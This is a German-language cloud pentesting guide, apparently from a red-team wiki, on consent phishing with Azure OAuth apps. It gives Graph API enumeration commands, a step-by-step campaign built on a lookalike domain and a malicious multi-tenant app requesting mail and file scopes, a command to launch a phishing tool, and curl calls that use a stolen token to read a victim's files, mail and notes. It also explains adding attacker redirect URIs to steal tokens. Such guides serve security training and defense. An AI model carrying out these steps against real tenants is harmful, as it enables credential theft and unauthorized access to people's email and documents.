Az - OAuth Apps Phishing

Reading time: 8 minutes

OAuth App Phishing

Azure-Anwendungen sind mit den Berechtigungen konfiguriert, die sie verwenden können, wenn ein Benutzer der Anwendung zustimmt (wie das Auflisten des Verzeichnisses, der Zugriff auf Dateien oder das Ausführen anderer Aktionen). Beachten Sie, dass die Anwendung im Namen des Benutzers handelt. Selbst wenn die App nach Administrationsberechtigungen fragen könnte, wenn der Benutzer, der zustimmt, diese Berechtigung nicht hat, kann die App keine administrativen Aktionen ausführen.

App-Zustimmungsberechtigungen

Standardmäßig kann jeder Benutzer Apps zustimmen, obwohl dies so konfiguriert werden kann, dass Benutzer nur Apps von verifizierten Herausgebern für ausgewählte Berechtigungen zustimmen können oder sogar die Berechtigung für Benutzer entfernt wird, Anwendungen zuzustimmen.

Wenn Benutzer nicht zustimmen können, können Administratoren wie GA, Application Administrator oder Cloud Application Administrator den Anwendungen zustimmen, die Benutzer verwenden können.

Darüber hinaus, wenn Benutzer nur Apps mit geringem Risiko Berechtigungen zustimmen können, sind diese Berechtigungen standardmäßig openid, profile, email, User.Read und offline_access, obwohl es möglich ist, weitere zu dieser Liste hinzuzufügen.

Und wenn sie allen Apps zustimmen können, können sie allen Apps zustimmen.

2 Arten von Angriffen

• Unauthentifiziert: Erstellen Sie von einem externen Konto aus eine Anwendung mit den geringfügigen Berechtigungen User.Read und User.ReadBasic.All, phishen Sie einen Benutzer, und Sie können auf Verzeichnisinformationen zugreifen.
• Dies erfordert, dass der phishte Benutzer OAuth-Apps von externen Mandanten akzeptieren kann.
• Wenn der phishte Benutzer ein Administrator ist, der jeder App mit beliebigen Berechtigungen zustimmen kann, könnte die Anwendung auch privilegierte Berechtigungen anfordern.
• Authentifiziert: Nachdem Sie ein Hauptkonto mit ausreichenden Berechtigungen kompromittiert haben, erstellen Sie eine Anwendung im Konto und phishen Sie einen privilegierten Benutzer, der privilegierte OAuth-Berechtigungen akzeptieren kann.
• In diesem Fall können Sie bereits auf die Informationen des Verzeichnisses zugreifen, sodass die Berechtigung User.ReadBasic.All nicht mehr interessant ist.
• Sie sind wahrscheinlich an Berechtigungen interessiert, die ein Administrator gewähren muss, da normale Benutzer OAuth-Apps keine Berechtigungen erteilen können. Deshalb müssen Sie nur diese Benutzer phishen (mehr dazu, welche Rollen/Berechtigungen dieses Privileg gewähren, später).

Benutzer dürfen zustimmen

Beachten Sie, dass Sie diesen Befehl von einem Benutzer innerhalb des Mandanten ausführen müssen. Sie können diese Konfiguration eines Mandanten nicht von einem externen Mandanten aus finden. Der folgende CLI kann Ihnen helfen, die Berechtigungen der Benutzer zu verstehen:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"

• Benutzer können allen Apps zustimmen: Wenn Sie in permissionGrantPoliciesAssigned finden: ManagePermissionGrantsForSelf.microsoft-user-default-legacy, dann können Benutzer jede Anwendung akzeptieren.
• Benutzer können Apps von verifizierten Herausgebern oder Ihrer Organisation zustimmen, jedoch nur für die von Ihnen ausgewählten Berechtigungen: Wenn Sie in permissionGrantPoliciesAssigned finden: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team, dann können Benutzer jede Anwendung akzeptieren.
• Benutzerzustimmung deaktivieren: Wenn Sie in permissionGrantPoliciesAssigned nur finden: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat und ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team, dann können Benutzer nicht zustimmen.

Es ist möglich, die Bedeutung jeder der kommentierten Richtlinien in:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Anwendungsadministratoren

Überprüfen Sie die Benutzer, die als Anwendungsadministratoren gelten (können neue Anwendungen akzeptieren):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Angriffsfluss Übersicht

Der Angriff umfasst mehrere Schritte, die auf ein generisches Unternehmen abzielen. So könnte es ablaufen:

1. Domainregistrierung und Anwendungs-Hosting: Der Angreifer registriert eine Domain, die einer vertrauenswürdigen Seite ähnelt, zum Beispiel "safedomainlogin.com". Unter dieser Domain wird eine Subdomain erstellt (z. B. "companyname.safedomainlogin.com"), um eine Anwendung zu hosten, die darauf ausgelegt ist, Autorisierungscodes zu erfassen und Zugriffstoken anzufordern.
2. Anwendungsregistrierung in Azure AD: Der Angreifer registriert dann eine Multi-Tenant-Anwendung in seinem Azure AD-Mandanten und benennt sie nach dem Zielunternehmen, um legitim zu erscheinen. Er konfiguriert die Redirect-URL der Anwendung so, dass sie auf die Subdomain verweist, die die bösartige Anwendung hostet.
3. Einrichten von Berechtigungen: Der Angreifer richtet die Anwendung mit verschiedenen API-Berechtigungen ein (z. B. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Diese Berechtigungen ermöglichen es dem Angreifer, sensible Informationen im Namen des Benutzers zu extrahieren, sobald sie vom Benutzer gewährt werden.
4. Verbreitung bösartiger Links: Der Angreifer erstellt einen Link, der die Client-ID der bösartigen Anwendung enthält, und teilt ihn mit gezielten Benutzern, um sie zu täuschen und zur Zustimmung zu bewegen.

Beispielangriff

1. Registrieren Sie eine neue Anwendung. Sie kann nur für das aktuelle Verzeichnis sein, wenn Sie einen Benutzer aus dem angegriffenen Verzeichnis verwenden, oder für jedes Verzeichnis, wenn es sich um einen externen Angriff handelt (wie im folgenden Bild).
2. Setzen Sie auch die Redirect-URI auf die erwartete URL, an der Sie den Code zum Abrufen der Token erhalten möchten (http://localhost:8000/callback standardmäßig).

2. Erstellen Sie dann ein Anwendungsgeheimnis:

3. Wählen Sie API-Berechtigungen aus (z. B. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)

4. Führen Sie die Webseite (azure_oauth_phishing_example) aus, die nach den Berechtigungen fragt:

# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"

5. Senden Sie die URL an das Opfer
6. In diesem Fall http://localhost:8000
7. Opfer müssen die Aufforderung akzeptieren:

7. Verwenden Sie das Zugriffstoken, um auf die angeforderten Berechtigungen zuzugreifen:

export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Andere Werkzeuge

• 365-Stealer: Überprüfen Sie https://www.alteredsecurity.com/post/introduction-to-365-stealer, um zu erfahren, wie Sie es konfigurieren.
• O365-Attack-Toolkit

Post-Exploitation

Phishing Post-Exploitation

Je nach den angeforderten Berechtigungen könnten Sie in der Lage sein, auf verschiedene Daten des Mandanten (Benutzer, Gruppen... oder sogar Einstellungen zu ändern) und Informationen des Benutzers (Dateien, Notizen, E-Mails...) zuzugreifen. Dann können Sie diese Berechtigungen nutzen, um diese Aktionen durchzuführen.

Entra ID Anwendungen Admin

Wenn Sie es geschafft haben, irgendwie einen Entra ID-Prinzipal zu kompromittieren, der Anwendungen in Entra ID verwalten kann, und es Anwendungen gibt, die von Benutzern des Mandanten verwendet werden. Ein Administrator könnte die Berechtigungen, die die App anfordert, ändern und eine neue erlaubte Umleitungsadresse hinzufügen, um die Tokens zu stehlen.

• Beachten Sie, dass es möglich ist, Umleitungs-URIs hinzuzufügen (es ist nicht notwendig, die echte zu löschen) und dann einen HTTP-Link mit der Umleitungs-URI des Angreifers zu senden, sodass die Authentifizierung automatisch erfolgt, wenn der Benutzer dem Link folgt, und der Angreifer das Token erhält.
• Es ist auch möglich, die Berechtigungen, die die App anfordert, zu ändern, um mehr Berechtigungen von den Benutzern zu erhalten, aber in diesem Fall muss der Benutzer erneut die Aufforderung akzeptieren (auch wenn er bereits angemeldet war).
• Um diesen Angriff durchzuführen, MUSS der Angreifer NICHT den Anwendungscode kontrollieren, da er einfach den Link zur Anmeldung in der App mit der neuen URL im redirect_uri-Parameter an den Benutzer senden könnte.

Anwendung Post-Exploitation

Überprüfen Sie die Abschnitte Anwendungen und Dienstprinzipal der Seite:

Az - EntraID Privesc

Referenzen

• https://www.alteredsecurity.com/post/introduction-to-365-stealer
• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/